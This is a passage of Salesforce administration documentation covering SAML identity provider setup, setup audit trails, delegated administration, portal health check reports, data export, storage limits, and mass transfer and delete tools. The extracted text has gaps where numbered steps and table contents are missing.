<saml:AttributeValue xsi:type="xs:anyType">005D0000001Ayzh</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">admin@identity.org</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">cmortimore@salesforce.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="is_portal_user"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">false</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
725
Customize Application
Customize Application
After you enable an identity provider for your organization, you can view the details by clicking Your Name > Setup > Security
Controls > Identity Provider. You might need to share this information, such as Issuer, with your service provider.
From this page you can click:
726
Download Certificate to download the certificate associated with your identity provider. Your service provider can use
this information for connecting to Salesforce.
Download Metadata to download the metadata associated with your identity provider. Your service provider can use this
information for connecting to Salesforce.
In the service providers section, click New to define a new service provider. Next to the name of an already-defined service
provider, click Edit to change its definition, click Profiles to add or remove user profiles that have access to this service
provider, or click Del to delete it.
Customize Application
Customize Application
727
1.
2.
3.
4.
5.
6. Select the subject type. This value comes from the service provider.
Note: If the subject type is Federation ID, you must also map the Salesforce user to the app user.
7. Click Service Provider Certificate if the service provider gave you a security certificate. Browse your system for
the certificate. This is only necessary if you plan to initiate logging into Salesforce from the service provider and the service
provider signs their SAML requests.
Important: If you upload a certificate, all SAML requests must be signed. If no certificate is uploaded, all SAML
requests are accepted.
8. Click Save.
9. Select which profiles have access to this service provider.
Note: Permission sets can also be used to grant access to service providers.
If you click the checkbox at the top of the list, all profiles are selected.
10. Click Save.
Customize Application
If the Subject Type for the service provider definition is Federation ID, you must map the Salesforce user to the username
used to sign into the service provider.
To map a Salesforce user to the app user:
728
1. Click Your Name > Setup > Manage Users > Users, then click Edit for every user who needs to be mapped.
2. In Federation ID, under Single Sign On Information, enter the username to be used to log into the service provider.
3. Click Save.
Tip: Use SOAP API if you have a large number of user profiles or permission sets to update. See the SOAP API
Developer's Guide.
Customize Application
After you define a service provider for your organization, you can view the details by clicking Your Name > Setup > Security
Controls > Identity Provider, then the name of the service provider. You might need to share this information, such as
SP-Initiated POST Endpoint or SP-Initiated Redirect Endpoint, with your service providers.
From this page you can click:
Profile Access to change which profiles have access to this service provider.
Customize Application
When enabling identity providers and defining service providers for Force.com Sites, Customer Portals and partner portals,
note the following:
729
When defining a service provider, if the Subject Type is Username, the Salesforce organization ID is prepended to
the user name in the SAML assertion. For example, if the user is jDeoint@WFC.com, the subject for the SAML assertion
contains 00DE0000000FFLT@jDeoint@WFC.com. If the Subject Type is Federation ID, the exact federation ID
is used.
The attribute is_portal_user included in the SAML assertion generated by Salesforce contains values. You might
want to share the following example with your service provider.
<saml:Attribute Name="is_portal_user"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">true
</saml:AttributeValue>
</saml:Attribute>
Customize Application
The identity provider error log records problems with inbound SAML authentication requests from another app provider,
and outbound SAML responses when Salesforce is acting as an identity provider. To view the identity provider error log, click
Your Name > Setup > Manage Users > Identity Provider Error Log.
Customize Application
This section contains two examples of setting up Salesforce as an identity provider, then setting up two different service
providers:
730
The general steps are as follows, with more specifics on each step below.
1.
2.
3.
4.
5.
Generate a domain name and enable an identity provider in your Salesforce organization.
Define the service provider in Salesforce.
Enable the Salesforce user and profile.
Setup Google Apps.
Test your implementation.
Value
Name
Google Apps
ACS URL
Entity ID
google.com
Subject Type
Federation ID
731
4. Click Save.
5. Select the profiles allowed to access this service provider. You must select the current user's profile for this example to
work.
6. Click Save.
7. Copy down the value in the SP-Initiated Redirect Endpoint field. You will use this value later.
Mapping the Salesforce user to the Google Apps user
To map the Salesforce user to the Google Apps user:
1. Click Your Name > Setup > My Personal Information > Personal Information, then click Edit.
2. For Federation ID, enter the username you use to sign into Google Apps, for example, JSmith@TGroup.com.
3. Click Save.
Setting up Google Apps
To set up your Google Apps account:
1.
2.
3.
4.
5.
6.
7.
8.
732
Note: This has to be an absolute URL, that is, it must contain either http:// or https://.
Generate a domain name and enable an identity provider in the Salesforce organization that is acting as an identity provider.
Set up the Salesforce organization that is acting as a service provider.
Define the service provider app in the Salesforce organization that is acting as an identity provider.
Test your implementation.
733
Value
SAML Version
2.0
Issuer
Identity Provider Certificate
d. Click Save.
e. Copy and save the values from the fields Salesforce Login URL and Entity ID. You need these values later,
when defining the Salesforce service provider.
3. Link your user in the service provider organization to the user in the identity provider organization:
a. Click Your Name > Setup > My Personal Information > Personal Information, and click Edit.
b. For Federation ID, enter the username used to sign into theSalesforce identity provider organization, for example,
IDP_org@TGroup.com.
c. Click Save.
Defining the Service Provider in the Identity Provider Organization
To define the service provider:
1. Log into the Salesforce organization that acts as the identity provider.
2. Click Your Name > Setup > Security Controls > Identity Provider, then in the Service Provider section, click New.
3. Specify the following information:
Field
Value
Name
ACS URL
Entity Id
Subject Type
Select Username
4. Click Save.
5. Select the profiles allowed to access this service provider. You must select the current user's profile for this example to
work.
6. Click Save.
7. Copy down the value of the IdP-Initiated Login URL field. You will use this value later, in testing.
734
Log into the Salesforce organization that is acting like a service provider.
Click Your Name > Setup > Create > Tabs, then click New in the Web Tabs section.
Choose a tab layout and click Next.
Enter a label to display on the tab.
Use the default name. This is the same as the label.
Click the Tab Style lookup icon to display the Tab Style Selector. Select an icon.
Click Next.
In the Button or Link URL text box, enter the value of the IdP-Initiated Login URL field from defining the service
provider, then click Next.
Note: This has to be an absolute URL, that is, it must contain either http:// or https://.
The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your
organization. This can be especially useful in organizations with multiple administrators.
To view the setup audit trail history, click Your Name > Setup > Security Controls > View Setup Audit Trail. To download
your organizations full setup history for the past 180 days, click the Download link.
The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the
change, who made it, and what the change was. Additionally, if a delegate (such as an administrator or customer support
representative) makes a setup change on behalf of an end-user, the Delegate User column shows the delegate's username. For
example, if a user grants login access to an administrator and the administrator makes a setup change, the administrator's
username is listed.
The setup audit trail history tracks the following types of changes:
Setup
Changes Tracked
Administration
Company information, default settings such as language or locale, and company message changes
735
Setup
Changes Tracked
Customization
736
Setup
Security and
Sharing
Changes Tracked
Enabling or disabling Chatter new user creation settings for invitations and email domains
Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access
Using Hierarchies option
Password policy changes
Session settings changes, such as changing the session timeout setting
Changes to delegated administration groups and the items delegated administrators can manage.
Setup changes made by delegated administrators are tracked as well.
How many records a user emptied from their Recycle Bin and from the organization's Recycle Bin
Changes to SAML (Security Assertion Markup Language) configuration settings
Changes to Salesforce certificates
Enabling or disabling identity providers
Changes to service providers
Data Management
Mass delete use, including when a mass delete exceeds the user's Recycle Bin limit of 5000 deleted
records. The oldest, excess records will be permanently removed from the Recycle Bin within two
hours of the mass delete transaction time.
Data export requests
Use of the campaign member import wizard
Mass transfer use
Changes to analytic snapshots, including defining, deleting, or changing the source report or target
object on an analytic snapshot
Import wizard use
Development
Various Setup
Using the
application
737
Setup
Changes Tracked
A user with the Edit Self-Service Users permission logging into the Salesforce Customer Portal
as a Customer Portal user
Enabling or disabling a partner portal account
Disabling a Salesforce Customer Portal account
Enabling or disabling a Salesforce Customer Portal and creating multiple Customer Portals
Creating and changing entitlement processes and entitlement templates
Enabling or disabling self-registration for a Salesforce Customer Portal
Enabling or disabling Customer Portal or partner portal users
Customize Application
To be a delegated administrator:
Use delegated administration to assign limited administrative privileges to selected non-administrator users in your organization.
Delegated administrators can perform the following tasks:
Creating and editing users and resetting passwords for users in specified roles and all subordinate roles, including setting
quotas, creating default sales teams, and creating personal groups for those users
Unlocking non-portal users
Assigning users to specified profiles
Logging in as a user who has granted login access to their administrator
Managing custom objects created by an administrator
For example, you may want to allow the manager of the Customer Support team to create and edit users in the Support
Manager role and all subordinate roles. This allows the administrator to focus on tasks other than managing users for every
department that uses Salesforce.
To create delegated groups, click Your Name > Setup > Security Controls > Delegated Administration, then click New.
To manage your delegated groups:
738
Note: To delegate administration of particular objects, use object permissions, such as View All and Modify All.
See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Custom Object Administration
Customize Application
To be a delegated administrator:
A delegated administration group is a group of users who have the same administrative privileges. These groups are not related
to public groups used for sharing. To define a delegated administration group:
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Delegated Administration.
Click New.
Enter a group name.
To allow the users in this group to log in as users in the role hierarchy that they administer, select Enable Group for
Login Access. Depending on your organization settings, individual users may need to grant login access to allow their
administrators to log in as them. See Controlling Login Access on page 554 and Granting Login Access on page 31.
5. Click Save.
6. To specify the users in this delegated group, in the Delegated Administrators related list, click Add.
7. Click
to find and add users to the group. The users must have the View Setup and Configuration permission.
8. Click Save.
To specify what tasks these users can perform, see Delegating User Administration on page 740 and Delegating Custom Object
Administration on page 741.
See Also:
Delegating Administrative Duties
739
Customize Application
To be a delegated administrator:
Enable delegated administrators to manage users in specified roles and all subordinate roles, assign specified profiles to those
users, and log in as users who have granted login access to administrators.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Delegated Administration.
Select the name of an existing delegated administration group.
Click Add in the User Administration related list.
Use the magnifying glass lookup icon to find and add roles. Delegated administrators can create and edit users in these
roles and all subordinated roles.
5. Click Save.
6. Click Add in the Assignable Profiles related list.
7. Use the magnifying glass lookup icon to find and add profiles. Delegated administrators can assign these profiles to the
users they create and edit. Note that profiles with the Modify All Data permission cannot be assigned by delegated
administrators.
Note: If a user is a member of more than one delegated administration group, be aware that he or she can assign
any of the assignable profiles to any of the users in roles he or she can manage.
8. Click Save.
9. See Delegating Custom Object Administration on page 741 to specify what custom objects the delegated administrators
can manage.
To remove roles or profiles from the list of items the delegated administrators can use, click Remove next to the role or profile.
See Also:
Defining Delegated Administrators
Delegating Administrative Duties
740
Customize Application
To be a delegated administrator:
Enable delegated administrators to manage custom objects that have been created by an administrator.
1.
2.
3.
4.
Click Your Name > Setup > Security Controls > Delegated Administration.
Select the name of an existing delegated administration group.
From the detail page of the delegated administration group, click Add in the Custom Object Administration related list.
Use the magnifying glass lookup icon to find and add custom objects. Delegated administrators can customize nearly every
aspect of a custom object, including creating a custom tab for it.
5. Click Save. Click Save & More to add additional custom objects.
To remove a custom object from the list of items the delegated administrators can manage, click Remove next to the custom
object.
Delegated administrators can customize nearly every aspect of the custom object, including creating a custom tab for it.
However, they cannot create or modify relationships on the object or set organization-wide sharing defaults.
Delegated administrators need to have access to custom objects if they need to access the merge fields on those objects
from formulas.
See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Administrative Duties
To ensure that resources are available for all Salesforce users, limits are placed on the number of long-running Web requests
that one organization can send at the same time. Salesforce monitors the number of concurrent requests issued by all users
logged in to your organization, and compares that number against the maximum limit. In this way, the number of concurrent
741
requests is kept below the maximum limit. The limit ensures that resources are available uniformly to all organizations and
prevents deliberate or accidental over-consumption by any one organization.
If too many requests are issued by users in your organization, you may have to wait until one of them has finished before you
can perform your task. For example, assume that MyCorporation has 100,000 users. At 9:00 AM, each user requests a report
that contains 200,000 records. Salesforce.com starts to run the report for all users until the maximum number of concurrent
requests has been met. At that point, Salesforce.com refuses to take any additional requests until some of the reports have
completed.
Similar limits are placed on requests issued from the API. For more information, see Force.com API Usage Limits on page
2161.
Customize Application
Organizations that have their organization-wide sharing access level set to Private for accounts may want to restrict users from
running the Account Owner report, which lists all accounts and who owns them.
To show or hide this report:
1. Click Your Name > Setup > Security Controls.
2. Click Account Owner Report. This option is available only in organizations that have a private account sharing model.
3. Select the checkbox to allow all users to run this report. If you leave the box unchecked, only administrators and users with
the View All Data permission can run this report.
4. Click Save.
For security reasons, your organization may want to prohibit users from uploading HTML files. The Disallow HTML
documents and attachments security setting, if enabled, blocks users from uploading any file to the Documents tab or
as an attachment to a record if it has one of the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml,
acgi.
To prohibit uploading of HTML attachments and documents:
742
1. Click Your Name > Setup > Security Controls > HTML Documents and Attachments Settings.
2. Select the Disallow HTML documents and attachments checkbox.
3. Click Save.
Note: HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In
addition, this setting does not affect attachments on email templates; HTML attachments on email templates are
always permitted.
After this setting is enabled, previously-uploaded HTML documents and attachments are unaffected. However, when
users attempt to view an HTML attachment or document, their browser first prompts them to open the file in the
browser, save it to their computer, or cancel the action.
Caution: Do not enable this setting if your organization uses the partner portal to give your partner users access to
Salesforce.
See Also:
Adding Attachments
Uploading and Replacing Documents
Before any Visualforce page, Apex callout, or JavaScript code using XmlHttpRequest in an s-control or custom button can
call an external site, that site must be registered in the Remote Site Settings page, or the call will fail.
To access the page, click Your Name > Setup > Security Controls > Remote Site Settings. This page displays a list of any
remote sites already registered and provides additional information about each site, including remote site name and URL.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:
743
4. To allow access to the remote site regardless of whether the user's connection is over HTTP or HTTPS, select the Disable
Protocol Security checkbox. When selected, Salesforce can pass data from an HTTPS session to an HTTP session,
and vice versa. Only select this checkbox if you understand the security implications.
5. Optionally, enter a description of the site.
6. Click Save to finish, or click Save & New to save your work and begin registering an additional site.
See Also:
Developer's Guide: Force.com Apex Code Developer's Guide
AJAX Toolkit Developer's Guide
Customize Application
AND
Manage Users
AND
Modify All Data
Customer Portals and partner portals let you collaborate with and provide services to your customers and partners. With
portals, you share and capture information from third-party users. To ensure that you don't expose more information than
intended, it's important to follow best practices for portal implementation.
Your customers and partners can access your information via portals in many ways. With portal health check reports, you can
easily monitor this access. Portal health check reports show your security-related portal settings and provide information you
can use to improve portal security.
Note: Portal health check reports show sensitive user permissions, object permissions, and field permissions granted
through profiles, as well as organization-wide sharing settings and sharing rules. Your portal users can also access
records via the following means, which aren't included in portal health check reports.
Permission sets
Manual sharing
Apex managed sharing
Territories
List views
Groups
Queues
Teams
744
Content libraries
Folders
To view portal health check reports, click Your Name > Setup > Security Controls > Portal Health Check, then click the
report you want.
The following reports are included:
Customize Application
AND
Manage Users
AND
Modify All Data
User permissions are powerful, as they expand users' access to data. It's important to use caution when setting permissions for
a profile.
The Administrative and User Permissions reportone of the portal health check reportsshows portal profiles and their
critical permission settings.
Note: This report doesn't show permissions granted through permission sets.
For each profile, the report lists the number of portal users assigned to it, and the following permission settings:
745
From the report, you can drill down to portal profile detail pages, where you can edit or clone a profile, or view the users
assigned to a profile.
To view this report:
1. Click Your Name > Setup > Security Controls > Portal Health Check.
2. Click Administrative and User Permissions.
From the report page, you can do any of the following:
Customize Application
AND
Manage Users
AND
Modify All Data
Object permissions specify the access that users have to standard and custom objects. The following object permissions respect
the sharing model:
746
Field-level security specifies the access that users have to specific fields in object records.
The Object Access and Field-Level Security reportone of the portal health check reportsshows the number of portal
profiles that can access each standard and custom object in your organization. You can view each object's field-level security
settings and permissions. The object-specific reports list portal profiles, showing the number of users assigned to each profile,
the number of visible fields in an object, and the object permissions. You can drill down to portal profile detail pages, where
you can edit or clone a profile, or view the users assigned to a profile. You can also drill down to field-level security detail
pages, where you can edit the settings.
Note: This report doesn't show permissions granted through permission sets.
To show a filtered list of items, select a predefined view from the drop-down list.
To return to the list of reports, click Back to list: Portal Health Check Reports.
747
Customize Application
AND
Manage Users
AND
Modify All Data
Manage Users
AND
Customize Application
Organization-wide default settings specify each object's default access level for users in your organization. If an object's default
access level is Public, users with enabled object permissions (Read, Create, Edit, or Delete) may be able to access records
that they don't own. For example, if the default access setting for the account object is Public Read/Write, then any user with
the Read permission on the account object can view any account record. When setting organization-wide defaults, you want
to make sure you don't let portal users see objects they shouldn't access.
The Sharing Organization-Wide Defaults reportone of the portal health check reportslists standard and custom objects
and the default access setting for each object. You can use this report to review and edit the organization-wide default settings
that may expose records to portal users.
To view this report:
1. Click Your Name > Setup > Security Controls > Portal Health Check.
2. Click Sharing Organization-Wide Defaults.
The report lists the default access setting for each object. If an object's default access is Public, Show Details (for calendar),
or Use (for price book), any portal users with enabled object permissions can access other users' records, and the Security
column indicates a weak organization-wide default setting. You can view the specific object permissions granted to portal
profiles in the Object Access and Field-Level Security report.
If the object's default access is Private, Hide Details (for calendar), or No Access (for price book), the Security column
indicates a strong organization-wide default setting.
Note: Even with a strong organization-wide default setting, portal users may have access to other users' records
through exceptions such as sharing rules.
If the Grant Access Using Hierarchies box is checked, any user above a record owner in a territory or role hierarchy can
access the owner's records for that object.
From the report page, you can do any of the following:
748
To change the organization-wide sharing settings for any object, click Edit, then change the settings on the
Organization-Wide Sharing Defaults Edit page.
To show a filtered list of items, select a predefined view from the drop-down list.
To return to the list of reports, click Back to list: Portal Health Check Reports.
Customize Application
AND
Manage Users
AND
Modify All Data
Manage Users
Administrators can use sharing rules to give users access to records they don't own. In a sharing rule, records owned by a set
of users (such as a group, role, or territory) are shared with another set of users. When creating sharing rules, you want to make
sure you don't let portal users see records they shouldn't access.
The Sharing Rules reportone of the portal health check reportslists all sharing rules that give portal users access to records
they don't own. It shows the number of portal users who may get access to records as a result of each sharing rule, and lets
you edit access levels for each rule. For some types of user sets (like groups, roles, and territories), you can drill down to detail
pages, where you can edit, delete, or manage the users in the set.
To view this report:
1. Click Your Name > Setup > Security Controls > Portal Health Check.
2. Click Sharing Rules.
The Number of Portal Users Affected column shows the number of portal users who may get access as a result of the
sharing rule. This number includes portal users specified in the rule and, if Grant Access Using Hierarchies is enabled
for the object, any portal users above them in the role or territory hierarchy. If any users in this set have enabled object
permissions (Read, Create, Edit, or Delete), they can access records exposed by the rule.
Note:
749
Data Management
To change the access level in a sharing rule, click Edit, then change the settings on the sharing rule edit page.
To view the details of a user set in a sharing rule, click the link in the Owned By or Shared With column.
To show a filtered list of items, select a predefined view from the drop-down list.
To return to the list of reports, click Back to list: Portal Health Check Reports.
Note: Account and account territory sharing rules can grant access to contacts, opportunities, and cases associated
with the shared accounts. The Sharing Rules report shows access levels only for top-level objects, not associated objects.
DATA MANAGEMENT
Exporting Backup Data
Weekly export available in: Enterprise and Unlimited Editions
Monthly export available in: All editions, except for Database.com
Data Export
Your organization can generate backup files of your data on a weekly or monthly basis depending on your edition. You can
export all of your organization's data into a set of comma-separated values (CSV) files.
Note: Users with the Data Export permission can view all exported data and all custom objects and fields in the
Export Service page. This permission is granted by default only to the System Administrator profile because it enables
wide visibility.
You can generate backup files manually once every six days (for weekly export) or 28 days (for monthly export). You can also
schedule backup files to generate automatically at weekly or monthly intervals.
1. Click Your Name > Setup > Data Management > Data Export and Export Now or Schedule Export.
The Export Now option prepares your files for export immediately. This option is only available if enough time has
passed since your last export.
The Schedule Export option allows you to schedule the export process for weekly or monthly intervals.
750
Data Management
6. Under Exported Data, select the types of data to include in your export. We recommend that you select Include all data
if you are not familiar with the terminology used for some of the types of data. Note the following:
Formula and roll-up summary fields are always excluded from exports.
If your organization uses divisions, data from all divisions is included in the export.
If your organization uses person accounts and you are exporting accounts, all account fields are included in the account
data. For more information on account fields, see Account Fields on page 87.
If your organization uses person accounts and you are exporting contacts, person account records are included in the
contact data. However, the contact data only includes the fields shared by contacts and person accounts.
For information on field limitations, see the Salesforce Field Reference Guide.
751
Data Management
1.
2.
3.
4.
5.
6.
7.
8.
Monitoring Resources
Monitoring Resources
Available in: All Editions
Manage Users
Storage is divided into two categories: data storage and file storage. File storage includes files in attachments, the Documents
tab, the Files tab, the File field, Salesforce CRM Content, Chatter (including user photos), and Site.com assets. Data storage
includes the following:
Accounts
Article types (format: [Article Type Name])
Article type translations (format: [Article Type Name] Version)
Campaigns
Campaign Members
Cases
Case Teams
Contacts
752
Data Management
Monitoring Resources
Contracts
Custom objects
Email messages
Events
Forecast items
Google docs
Ideas
Leads
Notes
Opportunities
Quotes
Quote Template Rich Text Data
Solutions
Tags: Tag applications
Tags: Unique tags
Tasks
Data storage and file storage are calculated asynchronously, so if you import or add a large number of records or files, your
organizations storage usage will not be updated immediately.
Storage Capacity
Each edition includes a minimum amount of data storage and file storage. Professional, Enterprise, and Unlimited Editions
receive a per-user storage amount multiplied by the number of users in the organization if the result is greater than the minimum
storage amount. Using data storage as an example, an Enterprise Edition organization with 600 users would receive 12,000
MB (12 GB) of data storage, because 20 MB per user multiplied by 600 users is 12,000 MB. A smaller organization, for
example a Professional Edition organization with 20 users, would receive 1 GB of data storage because 20 MB per user
multiplied by 20 users is only 400 MB, which is less than the 1 GB minimum allotted to all Professional Edition organizations.
The values in the Storage Allocation Per User License column below apply to Salesforce and Salesforce Platform user licenses.
Note: The only feature license that provides additional storage is Salesforce CRM Content User. Each Salesforce
CRM Content User license provides an additional 512 MB of file storage, whether Salesforce CRM Content is enabled
or not, bringing the total file storage allocation per user to 612 MB. To find out whether your organization has
Salesforce CRM Content enabled, contact your administrator.
Salesforce Edition
Personal
20 MB (approximately 10,000 20 MB
records)
N/A
Contact Manager
1 GB
11 GB
Group
1 GB
11 GB
Professional
1 GB
11 GB
753
Data Management
Monitoring Resources
Salesforce Edition
Enterprise
11 GB
Unlimited
11 GB
Developer
5 MB
20 MB
N/A
If your organization uses custom user licenses, contact salesforce.com to determine if these licenses provide additional storage.
For a description of user licenses, see Understanding User License Types on page 602.
Increasing Storage
When your organization has reached its storage limit, you will not be able to create any new data or upload new files. To
reduce your storage usage, try to delete any outdated leads or contacts and remove any unnecessary attachments. In Salesforce
CRM Content, delete files to reduce your storage limit.
To increase your storage limit, you can purchase additional storage space, or in Professional, Enterprise, and Unlimited
Editions, you can also add user licenses. See Adding or Subtracting User Licenses on page 3507.
Storage Considerations
Take the following into consideration when planning your storage needs:
Person accounts count against both account and contact storage because the API considers each person account to consist
of one account as well as one contact.
Archived activities count against storage.
Nothing that is deleted counts against storage.
Active or archived products, price books, price book entries, and assets do not count against storage.
See Also:
Salesforce Editions and Limits
Force.com API Usage Limits
754
Transferring Records
TRANSFERRING RECORDS
Transferring Records Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Accounts, Campaigns, Contacts, Contracts, Leads, and Cases are not available in Database.com.
A record owner, or any user above the owner in the role or territory hierarchy, can transfer a single record to another user.
With some objects, like cases, leads, and campaigns, a user may be granted access to transfer records through sharing. Depending
on the type of object, there may be multiple ways to transfer records to another user:
Method
Available for
Transfer multiple records by selecting the records from a list Cases, leads, and custom objects, which can belong to either
view and clicking Change Owner
a user or a queue
Transfer multiple records using the Mass Transfer tool
Users with the Modify All Data permission, or users with the Modify All permission for the given object, can transfer
any record, regardless of who owns the record.
To transfer a single record or multiple records from a list view, the new owner must have at least the Read permission
on the object type. This rule does not apply if you use the mass transfer tool.
755
Data Management
To transfer ownership of any single record in an organization that does not use territory management, a user must have
the appropriate Edit permission and either own the record or be above the owner in the role hierarchy.
For example, to transfer ownership of an account, a user must have the Edit permission on accounts and read sharing
access to the account. Additionally, the new owner of the record must have at least Read permission on accounts.
The Public Full Access and Public Read/Write/Transfer sharing settings give all users the ability to transfer ownership of
that type of record as long as they have the appropriate Edit permission.
In organizations that use territory management, users that have been assigned to territories can be enabled to transfer the
accounts in their territories, even if they are not the record owner.
To transfer campaigns, users must also have the Marketing User checkbox selected on their user record.
Partner accounts can only be transferred to users with the Manage Partners permission.
You cannot assign an account with Customer Portal users to an owner who is a partner user.
See Also:
Mass Transferring Records
Changing Ownership
Changing Multiple Cases
Changing Multiple Leads
756
Data Management
Transfer Record
AND
Edit on the object type
AND
Transfer Leads
Transfer Record
AND
Edit on the object type
Use the Mass Transfer tool to transfer multiple accounts, leads, service contracts, and custom objects from one user to another.
Note: To transfer any records that you do not own, you must have the required user permissions as well as read sharing
access on the records.
1. Choose Your Name > Setup > Data Management > Mass Transfer Records.
2. Click the link for the type of record to transfer.
3. Optionally, fill in the name of the existing record owner in the Transfer from field. For leads, you can transfer from
users or queues.
4. In the Transfer to field, fill in the name of new record owner. For leads, you can transfer to users or queues.
5. If your organization uses divisions, select the Change division.... checkbox to set the division of all transferred records
to the new owners default division.
6. When transferring accounts, you can:
Select the Transfer open opportunities not owned by the existing account owner checkbox if
you want to transfer open opportunities owned by other users that are associated with the account.
Select the Transfer closed opportunities checkbox if you want to transfer closed opportunities associated
with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities
owned by other users are not changed.
757
Data Management
Select the Transfer open cases owned by the existing account owner checkbox if you want to transfer
open cases that are owned by the existing account owner and associated with the account.
Select the Transfer closed cases checkbox if you want to transfer closed cases that are owned by the existing
account owner and associated with the account.
Select the Keep Account Team checkbox if you want to maintain the existing account team associated with the
account. Deselect this checkbox if you want to remove the existing account team associated with the account.
Select the Keep Sales Team on all opportunities... checkbox if you want to maintain the existing sales
team on any opportunities associated with this account.
Note: If you transfer closed opportunities, the sales team is maintained, regardless of this setting.
7. Enter search criteria that the records you are transferring must match. For example, you could search accounts in California
by specifying Billing State/Province equals CA.
8. Click Find.
9. Select the checkbox next to the records you want to transfer. Optionally, check the box in the column header to select all
currently displayed items.
Note: If duplicate records are found, you must select only one of the records to transfer. Transferring duplicate
records results in an error.
Duplicate records may display if you filter leads based on Campaign Member Status and a matching lead has the
same campaign member status on multiple campaigns. For example, if you specify Campaign Member Status
equals Sent, and a matching lead named John Smith has the status Sent on two campaigns, his record will
display twice.
10. Click Transfer.
Transfer of Associated Items
When you change record ownership, some associated items that are owned by the current record owner are also transferred
to the new owner.
Record
Accounts
Contacts (on business accounts only), attachments, notes, open activities, open opportunities
owned by the current account owner, and optionally, closed opportunities and open
opportunities owned by other users.
Leads
Open activities. When transferring leads to a queue, open activities are not transferred.
758
Data Management
the data based on the new owner. The new owner may need to manually share the transferred accounts and opportunities as
necessary to grant access to certain users.
See Also:
Changing Ownership
Changing Multiple Cases
Assigning Leads
Transfer Leads
AND
Transfer Record
To transfer multiple approval requests from one user to another or to remove multiple approval requests from the approval
process:
1. Before transferring an approval request, make sure the new assigned approver has access to read the records for the approval
requests. For example, a user that does not have read access to an Expenses custom object will not be able to view expense
approval requests.
2. Choose Your Name > Setup > Data Management > Mass Transfer Approval Requests.
3. Enter the search conditions that the approval requests you are transferring must match. For example, you could search for
approval requests that were submitted by a particular user by specifying Submitter equals jsmith. For more
information, see Entering Filter Criteria on page 2961.
4. Click Find to search for approval requests that match.
5. Choose an option:
Mass remove records from an approval process unlocks the records and removes them from any approval
process so they no longer appear on the approver's list of pending approval requests.
Mass transfer outstanding approval requests to a new user allows you to select a user and assign
that user as the approver for all approval requests selected.
6. Optionally, enter any comments to be stored with the approval requests. The comments you enter are displayed on the
Approval History related list if your administrator has customized it to include the Comments field.
7. Select the checkbox next to each approval request you want to transfer or remove from the approval process, depending
on the option you selected previously.
759
Data Management
See Also:
Approval Processes Overview
Approval Process Terminology
You can delete multiple cases, solutions, accounts, contacts, leads, products, or activities at one time. Before you use mass
delete, we strongly suggest you run a report to archive your information. We also strongly advise you to run a weekly export
of your data; see Exporting Backup Data on page 750.
To delete multiple records:
1.
2.
3.
4.
Click Your Name > Setup > Data Management > Mass Delete Records.
Click the link for the type of record to delete.
Review the information that will be deleted along with the records.
Specify conditions that the selected items must match, for example, State equals California. For more information, see
Entering Filter Criteria on page 2961.
5. When deleting accounts, check the appropriate boxes if you want to delete accounts with attached closed/won opportunities
or attached opportunities owned by other users.
6. When deleting products, check Archive Products... if you want to include products that are on opportunities.
Archived products are not moved to the Recycle Bin. Check this option to:
Delete products that are not on opportunities and move them to the Recycle Bin.
Archive products that are on opportunities. These products are not moved to the Recycle Bin and cannot be recovered.
Leave this box unchecked to delete only those products that are not on opportunities. Selected products that are on
opportunities will remain checked after the deletion to indicate they were not included in the deletion.
7. Choose Search to find records that match.
8. Select the box next to the items you want to delete. Optionally, check the box in the column header to select all currently
displayed items.
9. To permanently delete records, select Permanently delete the selected records. Please note that selecting
this option prevents you from recovering the selected records from the Recycle Bin.
10. Click Delete. If you did not select Permanently delete the selected records, deleted items are moved to the
Recycle Bin.
760
Data Management
The child events of a recurring event are not displayed in the list of possible items to delete, but they are deleted along
with their associated event series.
Deleting a master solution does not delete the translated solutions associated with it. Instead, each translated solution
becomes a master solution.
Deleting a translated solution removes the association with its master solution.
You imported your organization's leads incorrectly and you want to delete those imported leads. View the Using Mass
Delete to Undo Imports document for complete instructions.
A user named John Smith recently left your organization, and he had several contacts that were duplicates of other users'
data. To delete these duplicate contacts, select contacts as the record type to delete and enter Owner Alias equals jsmith.
Your organization may have formerly entered all leads as accounts with the Type field set to Prospect. You now want
to convert these accounts into leads. To do this, run a report of these accounts, export it to Excel, and then use the Import
My Organizations Leads wizard to import the data as leads. Then using mass delete, select accounts as the record type to
delete and enter Type equals Prospect to locate all accounts you want to delete.
You want to delete all the leads that have been converted for your organization. Select the lead record type, enter Converted
equals 1 for the search criteria, then choose Search.
You might also want to use mass delete to clean up any old records you may have, to delete web-generated leads that were
created incorrectly, or to delete accounts and contacts with whom you no longer do business.
See Also:
Undoing an Import
Recycle Bin
761
Data Management
If your organization uses account teams or sales teams, you can make changes to a team member on multiple records at a time.
Using Salesforce, you can add, remove, or replace a team member on any record that contains that team member.
See the following topics for details:
762
Data Management
9. Click Add.
10. Click Done after reviewing the number of records changed.
Note: To add a new team member to an opportunity, the team member must have read access to the associated
account. Team members who do not have read access to the account will not be added to the opportunity team unless
you have the Modify All Data permission or are the account owner or above the account owner in the role hierarchy.
See Also:
Removing a Team Member from Multiple Records
Replacing a Team Member on Multiple Records
Reassign all open activities... if you want open activities for the removed team member assigned to the
